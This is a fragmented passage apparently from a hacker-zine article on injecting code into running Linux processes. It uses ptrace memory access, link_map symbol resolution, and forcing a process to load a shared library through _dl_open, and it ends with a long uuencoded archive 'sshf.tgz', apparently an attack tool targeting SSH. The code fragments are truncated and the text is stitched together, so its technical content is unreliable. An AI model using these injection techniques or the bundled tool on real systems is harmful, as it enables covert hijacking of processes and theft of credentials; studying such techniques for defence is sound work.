unsigned long *ptr = (unsigned long *) vptr;
count = i = 0;
void
write_data(int pid ,unsigned long addr ,void *vptr,int len)
{
int i , count;
long word;
i = count = 0;
from link.h:
struct link_map
{
ElfW(Addr) l_addr; /* Base address shared object is loaded */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects.*/
};
l_addr: Base address where shared object is loaded. This value can also be
found from /proc/<pid>/maps
The idea for symbol resolving with the link_map struct is simple. We
traverse throu link_map list, comparing each l_name item until the library
where our symbol is supposed to reside is found. Then we move to l_ld
struct and traverse throu dynamic sections until DT_SYMTAB and DT_STRTAB
have been found, and finally we can seek our symbol from DT_SYMTAB. This
can be quite slow, but should be fine for our example. Using HASH table for
symbol lookup would be faster and preferred, but that is left as exercise
for the reader ;D.
Let's look at some of the functions making life more easy with the
link_map. The below code is based on grugq's code on his ml post[1], altered
to use ptrace() for resolving in another process address space:
struct link_map *
locate_linkmap(int pid)
{
Elf32_Ehdr *ehdr = malloc(sizeof(Elf32_Ehdr));
Elf32_Phdr *phdr = malloc(sizeof(Elf32_Phdr));
Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn));
Elf32_Word got;
struct link_map *l = malloc(sizeof(struct link_map));
unsigned long phdr_addr , dyn_addr , map_addr;
free(phdr);
free(ehdr);
free(dyn);
return l;
}
/* search locations of DT_SYMTAB and DT_STRTAB and save them into global
* variables, also save the nchains from hash table.
*/
void
resolv_tables(int pid , struct link_map *map)
{
Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn));
unsigned long addr;
while ( dyn->d_tag ) {
switch ( dyn->d_tag ) {
case DT_HASH:
read_data(pid,dyn->d_un.d_ptr +\
map->l_addr+4,\
&nchains , sizeof(nchains));
break;
case DT_STRTAB:
strtab = dyn->d_un.d_ptr;
break;
case DT_SYMTAB:
symtab = dyn->d_un.d_ptr;
break;
default:
break;
}
addr += sizeof(Elf32_Dyn);
read_data(pid, addr , dyn , sizeof(Elf32_Dyn));
}
free(dyn);
}
unsigned long
find_sym_in_tables(int pid, struct link_map *map , char *sym_name)
{
Elf32_Sym *sym = malloc(sizeof(Elf32_Sym));
char *str;
int i;
i = 0;
We are gonna skip this part because of lack of time and interest. Simple
pure-asm code injectors have been around for quite sometime already, and
techniq is probably already clear, since it just really is poking opcodes
into process memory, overwriting old data, allocating space with sbrk() or
finding space otherwhere for own code. However, there is another method
with which you do not have to worry about finding space for your code
(atleast when playing with dynamically linked binaries) and we are coming
to it next.
Instead of injecting pure asm code we could force the process to load our
shared library and let the runtime dynamic linker to do all dirty work for
us. Benefits of this is the simplicity, we can write the whole .so with
pure C and call external symbols. libdl offers a programming interface to
dynamic linking loader, but a quick look to libdl sources show us that
dlopen() , dlsym() and dlclose() are quite much just wrapper functions with
some extra error checking, while the real functions are residing in libc.
here's the prototype to _dl_open() from glibc-2.2.4/elf/dl-open.c:
void *
internal_function
_dl_open (const char *file, int mode, const void *caller);
Parameters are pretty much the same as in dlopen(), having only one 'extra'
parameter *caller, which is pointer to calling routine and its not really
important to us and we can safely ignore it. We will not need other dl*
functions now either.
So, we know which function we can be used to load our shared library, and
now we could write a small asm code snippet which calls _dl_open() and
loads our lib and thats exactly what we are gonna do. One thing to remember
is that _dl_open() is defined as an 'internal_function', which means the
function parameters are passed in slightly different way, via registers
instead of stack. See the parameters order here:
Asset with this information, we will introduce our tiny .so loader code:
int3 ; breakpoint
--[ 7 - Conclusion
--[ 8 - References
sshf typescript:
Enjoy.
begin 644 sshf.tgz
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
